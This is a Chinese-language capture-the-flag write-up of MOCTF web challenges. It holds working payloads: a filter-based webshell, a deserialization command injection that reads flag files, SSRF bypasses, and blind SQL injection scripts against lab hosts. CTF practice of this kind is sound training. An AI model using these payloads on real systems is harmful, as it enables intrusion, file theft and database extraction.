事情再多也可以做做题娱乐娱乐。
0x01 一道水题
一群可爱小青蛙,F12审查元素可以找到flag。
0x02还是水题
将input的disable属性删除,根据提示输入moctf,注意字符串长度修改为大于或等于5。
0x03 访问限制
访问提示只允许NAIVE幼稚浏览器访问,幼稚浏览器是什么梗。
利用burp suite修改请求中User-Agent下浏览器信息再进行重放。
服务器响应提示只有香港记者允许访问,将请求头中的区域方言设置为zh-HK(香港方言),再次提交得到flag。
0x04 机器蛇
其实一提到机器就会联想到robots了,可是我还是按耐不住点了下begin然后就凉凉了。老样子F12果然看到了robots.txt
得到两个地址:
user-agent:
Disallow: /flag327a6c4304ad5938eaf0efb6cc3e53dc.php
Disallow: /index.html
访问/flag327a6c4304ad5938eaf0efb6cc3e53dc.php得到flag。
0x05 PHP黑魔法
在URL上常见的几种PHP泄露类型包括:
php~.index.php.swp\.index.php.bak\.index.php.swo\.index.php.svn\.index.php.zip\.index.php.rar\.index.php.txt\.index.php.oldphp~;
通过index.php~查看到源代码。
在php是弱类型语言==是比较运算,它不会去检查条件式的表达式的类型;===是恒等,它会检查查表达式的值与类型是否相等。在比较运算中,一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较。PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。
在源代码中将变量a和b分别进行了md5后进行比较,且要求a!=b。所以只需要找到md5值为0exxx(xxx全为数字,共30位),这里我提供4个都可以通过的值:240610708、QNKCDZO、aabg7XSs、aabC9RqS。最后就是构造url获取flag了。
http://119.23.73.3:5001/web5/index.php?a=240610708&b=QNKCDZO
0x06 我想要钱
time is money friends。money变量长度要小于等于4,值要大过时间,且不能为数组。
利用pyhon3先计算下当前时间戳得到当前时间为1.543929E+09
import time
nowtime = time.time()
print('e%'%nowtime)
又到构造完url拿下flag。
0x07 登录就对了
登录试试sql注入,账号:admin'or'1=1 密码:admin'or'1=1一试就对,好幸运。
0x08 文件包含
url为file=welcome.txt,提示flag为flag.php。
根据提示使用php特有的filter协议通过64base加密后获得flag.php数据源
php://filter/read=convert.base64-encode/resource=flag.php
获得64编码后的数据源
SSBoYXZlIGEgZmxhZyEKPD9waHAgCgovL0ZsYWc6IG1vY3Rme2YxbGVfaW5jbHVkNF9lNXN5fQovL0J5OmRhb3l1YW4KCj8+Cg==
解码后获得flag。
0x09 暴跳老板
提交后可以从response中得到提示“请以Dear提交你的email”,但是在postText中输入Dear没有反应,后来才注意到响应头文件中有Dear:MyBoss。
修改后提交成功。(截图的时候不小心boss加了个a上去)
0x0A Flag在哪?
抓包location提示重定向到/where_is_flag.php
继续修改请求地址后,提示重定向到/I_have_a_flag.php
继续修改请求地址后,提示重定向到/I_have_a_frog.php
继续修改请求地址后,提示重定向到/no_flag.php,但这次多了个返回信息ah~ guess where is flag!
继续修改请求地址后,提示重定向到/no_flag.php,这次提示There is no flag!
这NM是PPAP的歌词吧
i have a apple, i have pen, ah apple pen
脑洞真大修改地址为flagfrog.php得到flag。
0x0B 美味的饼干
这道题记得好像做过,用户名和密码随便输,response回复login=ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D
%3D经过url转码为=号,这串字符串应该是base64加密过的
解密得ee11cbb19052e40b07aac0ca060c23ee
32位应该是经过md5加密的
解密得user
提示只有admin才有flag,于是将admin经md5后再用base64加密得
MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=
修改cookie后重放请求得到flag
0x0C 没时间解释了
初次访问发现地址为http://119.23.73.3:5006/web2/index2.php
小知识
例如在ThinkPHP框架中,.htaccess文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。我们可以利用 .htaccess 文件的 Rewrite 规则来隐藏掉 ThinkPHP URL 中的 index.php 文件(即入口文件),这也是 ThinkPHP URL 伪静态 的第一步。
通过猜想可以判断这道题应该是隐藏了index.php入口文件,试着访问index.php截包后发现,是对index.php做了重定向到index2.php文件。并获得提示"May be u need uploadsomething.php"
通过尝试访问/uploadsomething.php /something.php /upload.php等地址发现/upload.php可以进行上传。
随便填写写点东西上传 提示:
访问之后提示to slow。
使用Python来实现不停的访问:
但是发现返回的所有响应内容都为too slow!,猜测在上传的一段时间之内服务器就会对所上传的文件进行删除。
所以我们可以使用Burpsuite来实现对文件的不停上传,然后再使用python来实现访问。
第1步:burpsuite抓包发送给intruder。并使用clear$清除变量。
第2步:修改配置设置不使用攻击载荷payload,并改为持续发送。
第3步:增加发送的线程提到访问到的机率
第4步:开始攻击,持续提交filename及content
第5步:使用python持续访问上传后的提示地址获取flag。
0x0D 死亡退出
访问之后获得代码:
先来分析代码:
执行逻辑:
show_source()文件语法高亮显示,为了好看点;
$c = "<?php exit;?>"在开头增加exit,导致我们成功写入一句话也不会执行,实战中通常在缓存、和配置文件中会有这样的命令if(!defined(xxx))exit;)。
提示:
@$c .= $_POST['c'];@为屏蔽错误不显示在浏览器界面,$_POST['c']是以post的方式获取字符串类型的变量c,".="表示变量c会与之前变量中的<?php exit;?>进行字符串连接。很显然题目需要我们以post的方式提交变量c使<?php exit;?>失效。
@$filename = $_POST['file']同理我们以post方式提交一个字符串的变量file,赋值给filename。
判断逻辑:
if(!isset($filename)) 检查$filename是否被设置,也就是我们是否以post提交了。
file_put_contents('tmp.php','');file_put_contens()是将一个字符串写入文件。因为判断为(!isset)非,所以没有以post提交变量filename时候系统将空字符串写入temp.php文件。
@file_put_contents($filename,$c)否则在传入了变量$filename的时候我们会将字符串变量$c写入到filename中。
执行逻辑:
include('tmp.php')include() 语句包含并运行指定文件,被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。所以当我们没有以post提交变量filename时系统将运行内容为空的tmp.php文件,如果我们提交了filename,那么我们将运行filname这个文件。
实现获得flag:
参考大神博客:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
原理
通过上传字符串变量c,通过<?php exit;?>与变量c连接破坏掉语句结构;同时变量c也需要写入到变量filename这个文件中通过执行获得flag。
在包含HTML、PHP语言的的网页中,通常会在进行解析XML将PHP的<??>语法当作为XML,而导致解析错误。为了防止这样的错误产生,php引入了php://filter协议流,通过该协议流可以将php的代码经过base64再编码一遍来避免此类冲突的产生。
可以巧妙运用base64解码的过程,将需要执行的php代码使用base64上传,再利用php:filter协议流进行base64解码执行。
base64解码过程会将<、?、;、空格、>等7个不合法字符忽略。从而导致<?php exit?>经过base64解码后变为phpexit。
base64算法解码是4个byte为一组,"phpexit"只有7个字符,这样会导致我们base64加密过后的密码,第一个字符被当作无效字符,从而破坏掉代码结构。
实现
第一步:
编写我们希望在文件中执行的php代码。
猜测flag放在flag.php文件中,构建代码让系统执行获取flag文件命令
<?php system('cat flag.php');?>
第二步:
最后的文件需要通过base64解密执行,所以需要对代码进行base64加密(注意编码不同base64加密的结果不同要选择网站的编码来进行加密哦)。加密后代码为:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKSA7Pz4=
第三步:
写入的字符串是与<?php exit;?>连接后写入的,但是经过base64解密后phpexit只有7个字符我们需要随便加一个字符补充完整性(这里我选择的字符是a),防止在解密时候破坏我们加密的webshell。故变量c为aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKSA7Pz4=
第四步:
变量filename文件应该使用PHP的filter协议流通过解密base64再进行读取,文件名可以随意取(这里我取名为haha.php)所以我构造的变量filename为:
file=php://filter/read=convert.base64-decode/resource=haha.php
第五步:
提交获取flag。记得是以POST(使用change request method修改提交方式)提交哦。
0x0E 火眼金睛
才看到题目眼睛就花,而且有密集恐惧症的我看到就难受,所以不做了。
算了,活着就是为了折腾。为了严谨起见还是创建个session对象,等提交答案的时候可以使用同一sessionid。首先了查看下内容
import requests
url = "http://119.23.73.3:5001/web10/"
session_flag = requests.session() //创建session对象
url_1_text = session_flag.get(url_1).text
print(url_1_text)
可以发现这段字符串是以<textarea rows = '30' cols = '100'>开始
以</textarea>结束
接下来利用re模块获取我们想要的字符串内容。
import re
reg_str = r"'100'>(.*?)</textarea>"
url_str_text = re.findall(reg_str,url_1_text)[0]
继续利用正则表达式将moctf匹配出来,因为re.findall()是以列表的形式返回,使用len()就可以获得个数了。
reg_moctf = r"moctf"
url_moctf_list = re.findall(reg_moctf,url_str_text)
number = len(url_moctf_list)
通过截包发现提交的地址为/web10/work.php,果然要用到访问获取的phpsessid,其次知道了date内容为answer。
整理代码后执行获得flag。
0x0F unset
看代码
<?php
highlight_file('index.php'); //高亮显示
function waf($a){
foreach($a as $key => $value){ //遍历$a 以下标=>值的方式遍历
if(preg_match('/flag/i',$key)){ //如果下标出现'/flag/i'的字符串类型则退出
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) { //将post、get、cookie的值分别传给变量$__R
if($$__R) { //判断$$_R是否存在
foreach($$__R as $__k => $__v) { //把$$__R的值传给 $__k=$__v
if(isset($$__k) && $$__k == $__v) unset($$__k); //如果有$$__k的值且与$__v相等unset$$__k
}
}
}
if($_POST) { waf($_POST);} //如果传入了POST参数为真传入waf()函数检查
if($_GET) { waf($_GET); } //如果传入了GET参数为真传入waf()函数检查
if($_COOKIE) { waf($_COOKIE);} //如果传入了COOKIE参数为真传入waf()函数检查
if($_POST) extract($_POST, EXTR_SKIP); //检查POST参数每个键名是否合法是否有冲突EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
if($_GET) extract($_GET, EXTR_SKIP);//检查GET参数每个键名是否合法是否有冲突EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
if(isset($_GET['flag'])){ //判断GET参数中是否包含flag键名
if($_GET['flag'] === $_GET['daiker']){ //判断GET参数flag键名的值是否与daiker键名的值是否全等,如果全等退出。
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){//判断GET参数flag键名的值是否与daiker键名的值md5加密后是否相等(注意不是全等),如果相等则执行下面代码。
include($_GET['file']); //执行get请求的文件。
}
}
?>
实现代码执行第一阶段
这段代码首先会运行,这是一个于变量覆盖的漏洞,主要影响版本为DEDECMS 5.7、5.6、5.5;漏洞文件/include/common.inc.php。
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
这个漏洞的实现需要post和get同时使用
以post提交内容:如果我们向url:1.php?x=1提交一个POST请求 内容为 _GET[x]=1
在url中提交内容:因为在uril:中?x=1 使 $_GET 内容为 array('x'=>'1')
当开始遍历_POST的时候$__R=_POST
$$__R=$($_R)=$_POST(也就是我们post提交的内容_GET[x]=1)
继续遍历$_POST==(_GET[x]=1)得到$k(也就是_GET) => $__v=array('x'=>'1')
继续判断$$__k=$($__k)=$_GET=array('x'=>'1')
此时此刻$$__k == $__v成立所以 我们的超全局变量 $_GET就这么华丽丽的被unset了
实现代码执行第二阶段
此时将会对$_POST、$_GET、$_COOKIE,由于我们在上一步已经将$_GET请求unset掉了,所以在这里是检查不到我们的$_GET请求的。
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}}}
实现代码执行第三阶段
检查POST参数每个键名是否合法是否有冲突,将会正常初始化$_GET。
EXTR_SKIP - 如果有冲突,不覆盖已有的变量,将会使用原来$_GET的值。
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
实现代码执行第四阶段
这里就和上面的题目《PHP黑魔法》、《文件包含》一个性质的我就不重复写了。
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
include($_GET['file']);
}
}
实现代码执行第五阶段
构造请求。
base64解密下就可以获得flag。
0x10 PUBG
吃鸡吃鸡
在对应的页面进行审查元素,发现在选择跳学校的时候,出现源码备份连接地址。
下载后打开获得源码
<html>
<title>MOCTF吃鸡大赛</title>
<style type="text/css">
a{
text-decoration:none;
color:white;
}
body
{
background:url('image/PUBG.jpg');
background-attachment:fixed;
background-repeat:no-repeat;
background-size:cover;
-moz-background-size:cover;
-webkit-background-size:cover;
}
center
{
color:white;
}
</style>
<body>
<center>
<p>你现在正在飞机上,请选择要跳的地方</p></br>
<p><a href="?LandIn=airport">机场</a></p>
<p><a href="?LandIn=school">学校</a></p>
<p><a href="?LandIn=field">打野</a></p>
<p><a href="?LandIn=AFK">上个厕所</a></p>
</center>
</body>
</html>
<?php
error_reporting(0);
include 'class.php'; //类的源码备份
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg']; //有个变量可以用get访问
$p = unserialize($pubg); //反序列化
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");
}
}
?>
这个时候我们惊奇的发现我我们访问school的时候我们可以使用get方式访问一个变量'pubg',
而$p变量会获得pubg反序列化的值。
反序列化unserialize():就是将序列化之后保存在硬盘(文件)上的“字符串数据”恢复为其原来的内存形式的变量数据的一种做法,即,把文件中保存的序列化后的“字符串数据”恢复为“内存数据”;
对一个对象进行反序列化,其实是恢复原来保存起来的属性数据,而且,此时必须需要依赖该对象原来的所属类;在下面的注释中$p->Get_air_drops($p->weapon,$p->bag);变量p会引用对象的成员(函数Get_air_drops、变量weapon、变量bag)
在查看对象的时候我们发现在源代码使用include 文件包含了'class.php';这个对象文件。
通过访问可以直接下载到class.php.bak的源码备份
接下来查看class.php这个对象的源代码,由于比较多我就注释再后面了
<?php
include 'waf.php'; //文件包含waf.php
class sheldon{ //实例化对象sheldon
public $bag="nothing"; //用public修饰变量bag = nothing 在类的内部和外部都能访问
public $weapon="M24"; //用public修饰变量weapon = m24 在类的内部和外部都能访问
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{ //反序列化自动调用函数__wakeup()
$this->bag="nothing"; //引用bag = nothing
$this->weapon="kar98K"; //引用weapon = kar98k
}
public function Get_air_drops($b)
{ //成员函数Get_air_drops($b)
$this->$b(); //引用变量$b
}
public function __call($method,$parameters)
{ //魔术函数如果尝试调用对象中不存在的方法则会自动调用该方法。
$file = explode(".",$method); //以'.'作为分割符将变量$method打散为数组
echo $file[0]; //打印显示file[]数组的第1个键的值
if(file_exists(".//class$file[0].php")) //判断文件file[0].php是否存在
{
system("php .//class//$method.php"); //如果存在执行$method.php这个文件
}
else
{
system("php .//class//win.php"); //如果不存在执行win.php这个文件
}
die();
}
public function nothing()
{ //成员函数nothing()
die("<center>You lose</center>");
}
public function __destruct()
{ //析构函数,该函数是在对象被销毁之前自动调用的方法
waf($this->bag); //执行waf()传入的参数为引用bag变量的值
if($this->weapon==='AWM') //如果对象引用的变量weapon与AWM相等
{
$this->Get_air_drops($this->bag); //对象引用Get_air_drops()传入引用变量bag作为参数
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>
这道题目是纯考PHP对象对象及魔术方法使用的题目啊。我们先来看下逻辑:
代码执行第一阶段
在调用serialize()函数将对象序列化时,会自动调用对象中的__sleep()魔术方法,用来将对象中的部分成员序列化。
在调用unserialize()函数返反序列化对象时,会动调用对象中的__wakeup()魔术方法,用来在二进制重新组成一个对象时,为新对象中的成员属性重新初始化。
在上一个源代码中我们知道我们唯一的机会是在访问school的时候,访问变量pubg实现反序列化。在实行反序列化时就会调用__wakeup()魔术方法。执行__wakeup()魔术方法后,对象中的成员变量bag的值为nothing,变量weapon的值为kar98k。
代码执行第二阶段
当创建一个对象时,将自动调用构造函数__construct(),通常用它执行一些有用的初始化任务。
当对象被销毁之前,将自动调用析构函数__destruct(),主要执行一些特定的操作,例如关闭文件,释放结果集等。
所以第二个源文件,无论如何都会在最后执行__destruct()函数,该函数第一步执行了waf(bag)这个函数。但是我们通过访问,无法获取waf.php.bak这个文件。
第二步,如果我们将weapon对象成员的值修改为AWM将符合条件,将会执行Get_air_drops($this->bag)。第三步Get_air_drops($b)将会直接引用nothing()这个方法。这个方法在代码中并不存在。
代码执行第三阶段
如果尝试调用对象中不存在的方法,一定会出现系统报错,并退出程序不能继续执行,在PHP中,可以在类中添加一个魔术方法__call,则调用对象中不存在的方法时就会自动调用该方法,并且程序也可以继续向下执行。
还好此时此刻有魔术方法__call()的出现,如果我们去调用对象中不存在的方法,将可以执行__call()。如何去寻找不存在的方法呢。也就是利用__destruct()析构函数中当$weapon==='AWM',这个时候将会执行Get_air_drops($bag)执行不存在的$bag()方法。
现在我们至少知道应该将$weapon的值设置为"AWM"
__call()方法需要两个参数:第一个参数是调用不存在的方法时,接收这个方法名称字符串;而参数列表则以数据的形式传递到__call()方法的第二个参数中。
所以public function __call($method,$parameters)第一个参数$method应该是不存在方法的字符串。所以$method=$bag。根据源代码中的条件$bag以'.'分割的字符串的数组且第一个判断语句要求数组第一个键值必须是类下面存在的文件。我们可以更具源代码提供的文件选择win.php。
现在我们至少知道$bag应该是//win.php开头的。
在条件判断通过后系统会执行 sys("php .//class//$method.php"),$method=$bag所以我们可以构造语句为 (php .//class//win.php | cat ./class/flag.php)
得到$bag = "//win.php | cat ./class/flag"
在执行的时候__destruct()析构函数中调用Get_air_drops($bag)从而执行//win.php | cat ./class/flag()函数,当然是不存在的__call可以顺利执行。
代码执行第四阶段
将public $bag="//win.php| cat ./class/flag"; public $weapon="AWM";写入源代码中创建一个新的对象$a = new sheldon();并经过print_r(serialize($a));序列化后打印出来就可以了。
现在还剩最后一个问题了
在进行反序列化unserialize()的时候会先调用wakeup()魔术方法。这样会将我们设置好的值变为$bag="nothing" ,$weapon="kar98K"。
如何绕过__wakeup呢?谷歌发现了CVE-2016-7124。简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。
这里先解释下serialize()后的格式。那么实现绕过只要将下图代表对象里面有三个变量的值写为大于3的就可以了。
最后我们的访问构造为120.78.57.208:6001/?LandIn=school(选择学校)&pubg(get获取pubg参数)=O:7:"sheldon":4:{s:3:"bag";s:27:"//win.php|%20cat%20./class/flag";s:6:"weapon";s:3:"AWM";}(构造序列化后的字符串)
0x11 网站检测器
这个是用来检查什么网站的呢?
随便输入几个网站发现如下提示:
1、只能使用http://访问
2、host地址只能为www.moctf.com
输入提示不就是http://www.moctf.com嘛,输入后提交发现网页显示出了主站信息。
从这里我们可以联想到SSRF(Server-Side Request Forgery:服务器端请求伪造)由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。而这里我们可以通过http://www.moctf.com访问到本地。
利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。我们通过构造下面的地址来实现。http://www.moctf.cm@127.0.0.1/
当后端程序进行URL解析的时候获得两个Host地址一个为www.moctf.com,另一个为127.0.0.1但是由于第一个地址后参数为@导致解析不当,当进行host地址过滤时,将会过滤掉第一个Host地址,保留第二个地址127.0.0.1让我们能够成功访问到它。
提交后发现提示不能在url中输入127,不过这个提示也确定了访问本地是正确的思路。
接下来我们可以使用更改IP地址进制的方式实现绕过过滤
可能存在过滤掉内网IP的方式,更改IP地址进制
127.0.0.1转化为二进制为01111111.00000000.00000000.00000001那么
(1)、8进制格式:017700000001
(2)、16进制整数格式:7f000001
提交后不在有错误提示,我们可以尝试访问在本地目录下是否存在flag.php文件。通过访问后提示不能在url中出现"."。
为了让"."变为不存在我们可以使用url双编码的形式
URL 编码通常也被称为 百分号编码(Url Encoding,also known as percent-encoding),是因为它的编码方式非常简单,使用%百分号加上两位的字符——0123456789ABCDEF——代表一个字节的十六进制形式。Url编码默认使用的字符集是US-ASCII。
所以我们可以对flag.php先进行第一次url编码,将对应的字母及"."变为asscii码然后加上%得到:
%66%6c%61%67%2e%70%68%70
此时的"."为%2e,当url进行访问时候还是会被识别为"."的,所以需要进行二次加工,把每个数字再进行一次url编码得到:
%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30
此时我们再提交一次,得到flag。
这里再提供几个绕过SSRF过滤的几种方法。(还念乌云猪猪侠)
1、利用DNS解析
网络上存在一个神奇的服务,http://xip.io当我们访问这个网站的子域名的时候会重新定向到主域名,
例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
2、通过各种非http协议
GOPHER协议:通过GOPHER我们在一个URL参数中构造Post或者Get请求。
例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击.
File协议:File协议主要用于访问本地计算机中的文件
Request:file:///C:/Windows/win.ini
3、DNS Rebuilding
(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。
0x12 Code Revolution
hint:源码没有那么容易拿到,看来是要去找源码了。
提示使用访客登录,登录后来到phpinfo()界面,到了这个界面就要去了解php内部的信息了。
收获绝对路径为默认路径
查看服务redis、memcache、mysql、SMTP、curl,只有smtp但是sendmail_from并没有配置。
可以利用ssrf的GOPHER没有;可以执行远程命令,读取任意文件fastcgi没有;_FILES[“file1”]泄露缓存文件地址也没有。
allow_url_include可用来远程文件包含被关闭了
收获all_url_fopen允许使用url打开文件
disable_functions用来查看禁用函数
open_basedir绕过执行、查看没有开启,open_basedir读取无权限目录也没有开启
先尝试使用filter来读取下Index.php,居然还是回到了登录页面,通过对网站的扫描发现了robots.txt,打开一看,发现原来有正则表达式进行过滤,怪不得又回到了login.php。
来解释一下
preg_match() 正则表达式,上面所有的正则都是用来匹配_GET传入的page参数的。
首先我们需要了解其中的符号本题目不涉及的我就不写了
定界符:
/ /需要将模式表达式放入定界符之间
通用字符型原子
\w匹配任意一个数字、字母或下划线等价于[0-9a-zA-Z]
元字符
. 匹配除了换行符外的任意一个字符
+匹配1次或多次其前的原子(像这题中php filter这类打印或非打印的字符)
| 匹配两个或多个分支选择
()作为子表达式可以将匹配到的内容存入到临时缓冲区(-),可以被获取供以后使用(\1)
模式修正符
模式修正符用于在定界符之外使用
i 在和模式进行匹配时不区分大小写
s 模式中的"."匹配的所有的字符,包括换行付。即将字符串视为单行,换行符作为普通字符看待。
0x13 简单注入
打开题目审查元素发现存在get请求参数id=1
id = 1 显示正常页面
id = 999 没有过滤查到不到显示空白页面
id =1 'or' 1=1 waf过滤关键字提示 whatfuck
注入第1步
判断有没有用trim()函数,trim()函数用于移除字符串左右两边的空格
http://119.23.73.3:5004/?id=1 (1后面有空格)
页面显示正常,第一种可能使用trim()函数过滤了空格,第二种可能空格没有过滤。
http://119.23.73.3:5004/?id=1 1
页面返回whatfuck,确认空格被过滤。
寻找能够代替空格的字符
%20 空格
%09 制表符
%0a 换行
%0b
%0c
%0d 回车
%a0
%00 æ
/**/
()
发现只有()没有被过滤
注入第2步
判断输入整型或字符型注入
?id = 2-1发现界面为id=2的界面,证明不是整型注入。
注入第3步
判断闭合
既然是str类型,就应该考虑闭合,当输入为id=1'页面显示空白。并没有显示waf,说明单引号没有被过滤,只是被转码为%27。
尝试使用注释符闭合
尝试id=1'# 注释掉后面的单引号完成闭合。
以下注释中有些被过滤了 有些没有,但是使用注释后页面无法正常显示,没有成功
//, -- , /**/, #, --+, -- -, ;%00
尝试id=1' and '1'='1 进行闭合
因为空格用()替换,'为%27,所以构造如下
id=1%27and(%271%27)=%271
运行后页面显示正常,验证成功
注入第4步
判断可用字符
利用相同方法带入发现union联合注入、or、<、>都不可用。
可以使用and、select查询字符。
注入第5步
逻辑判断
带入id=1'and'1'='1成立
这里用数据库长度进行举例
id=1'and length(database()) ='1
构造后如下,经判断当前数据库名长度为5成立。
1'and(length(database()))='5
注入第6步
写python3脚本啦
1、本来使用string是大小写字符都有的,但是在跑数据库名称时候发现大小写都正确,应该在数据库后端使用了like%%这样的语句,所以后来将string字符改为了全小写。
#! /usr/bin/python3
# -*- coding:utf - 8 -*-
# autho:czy
import string
import requests
chars = '!@$%^&*()_+=-|}{ :?><[];,./`~'
#string = string.ascii_letters+string.digits+chars
string = string.ascii_lowercase+string.digits+chars
rs = requests.session()
flag = ""
# payload = "http://119.23.73.3:5004/?id=1'and(mid(database(),{0},1))='{1}"
# payload = "http://119.23.73.3:5004/?id=1'and(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))='{1}"
# payload = "http://119.23.73.3:5004/?id=1'and(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))='{1}"
payload = "http://119.23.73.3:5004/?id=1'and(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))='{1}"
for i in range(1,50):
for j in range(0,65):
url = payload.format(str(i), str(string[j]))
s = rs.get(url)
if 'Hello' in s.text:
flag = flag + string[j]
print(flag)
2、参考了https://blog.csdn.net/weixin_41185953/article/details/83786215的博客,在and禁用的时候可以使用^进行异或判断。
import string
import requests
chars = '!@$%^&*()_+=-|}{ :?><[];,./`~'
string = string.ascii_letters+string.digits+chars
rs = requests.session()
flag = ""
# 正确payload
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))={1})^'1"
payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1"
for i in range(0, 500):
# for j in string:
for j in range(33, 127):
url = payload.format(str(i), str(j))
s = rs.get(url)
# print url
if 'Flag' in s.text:
flag = flag + chr(j)
print flag
0x14 简单审计
<?php
error_reporting(0);
include('config.php');
header("Content-type:text/html;charset=utf-8");
#生成一个变量$result,他的值为6位a-z的随机字符。
function get_rand_code($l = 6) {
$result = '';
while($l--) {
$result .= chr(rand(ord('a'), ord('z')));
}
return $result;
}
#测试将随机码加入到建立的套接字中
function test_rand_code() {
$ip=$_SERVER['REMOTE_ADDR']; #获取当前用户的ip
$code=get_rand_code(); #获取6位字符的随机码
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);#创建一个基于IPV4及TCP协议的网络套接字
@socket_connect($socket, $ip, 8888); #通过当前用户IP,8888端口连接上一步的套接字
@socket_write($socket, $code.PHP_EOL); #将之前获取的6位字符随机码写入套接字中并换行
@socket_close($socket);#关闭套接字
die('test ok!');#输出test ok并退出脚本
}
function upload($filename, $content,$savepath) {
$AllowedExt = array('bmp','gif','jpeg','jpg','png'); #允许的格式数组
if(!is_array($filename)) {
$filename = explode('.', $filename); #上传的文件以.进行分割组成数组
}
if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
die('error ext!');#如果数组的最后一位键值转化小写后不在允许的格式数组内,输出错误退出脚本
}
$code=get_rand_code();
$finalname=$filename[0].'moctf'.$code.".".end($filename);#最终名称为上传文件名+moctf+6位字符+.+数组最后一位(也就是格式)
waf2($finalname);
file_put_contents("$savepath".$finalname, $content);#把post请求的数据写入到带有路径的文件中
usleep(3000000);#延时执行当前脚本3秒
file_put_contents("$savepath".$finalname, "moctf");#把moctf写入到带有路径的文件中
unlink("$savepath".$finalname);#删除带有路径的文件
die('upload over!');
}
$savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";#保存路径为uploads/sha1加密后的ip地址/
if(!is_dir($savepath)){ #如果路径不是个目录
$oldmask = umask(0); #给777权限
mkdir($savepath, 0777); #创建目录
umask($oldmask); #关闭权限
}
if(isset($_GET['action']))
{
$act=$_GET['action'];
if($act==='upload') #如果GET请求的字段变量为upload
{
$filename=$_POST['filename']; #以POST提交filename
if(!is_array($filename)) {
$filename = explode('.', $filename); #如果filename不是数组,以点划分为数组
}
$content=$_POST['content'];#content以POST提交
waf($content); #waf过滤内容
upload($filename,$content,$savepath);#执行upload()函数
}
else if($act==='test') #当GET请求为test
{
test_rand_code();#执行test_rand_code()函数
}
}
else { #否则
highlight_file('index.php');#以高亮显示index.php
}
?>
在upload函数上传文件时候,不是一个数组,例如我们上传shell.jpg,将会以.分割为数组,结果为array([0]=>shell,[1]=>jpg)
if(!is_array($filename)) {
$filename = explode('.', $filename);
}
而在进行过滤的时候使用下标总数减1的值对文件格式进行过滤,例如上面的数组为array([0]=>shell,[1]=>jpg),现在下标总数为2,2-1=1此时判断的是array[1]是否是允许的格式。
if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
die('error ext!');
}
在进行文件名重新构造的时候才用了array[0]为最终文件名的开头,array的最后一位end($filename)为格式。
$finalname=$filename[0].'moctf'.$code.".".end($filename);
这种过滤就很巧妙了,既然判定不是数组才进行分割为数组,我们可以直接上传数组,既然是第一个下标的值为最终文件的开头,下标总数-1的值为判定格式,数组的最后一位为最终文件的格式。在php中下标总数-1的值可不一定就是数组的最后一位,我们可以这样去构建数组:
$filename= array('0'=> 'hello','2'=>'jpg','3'=>'php');
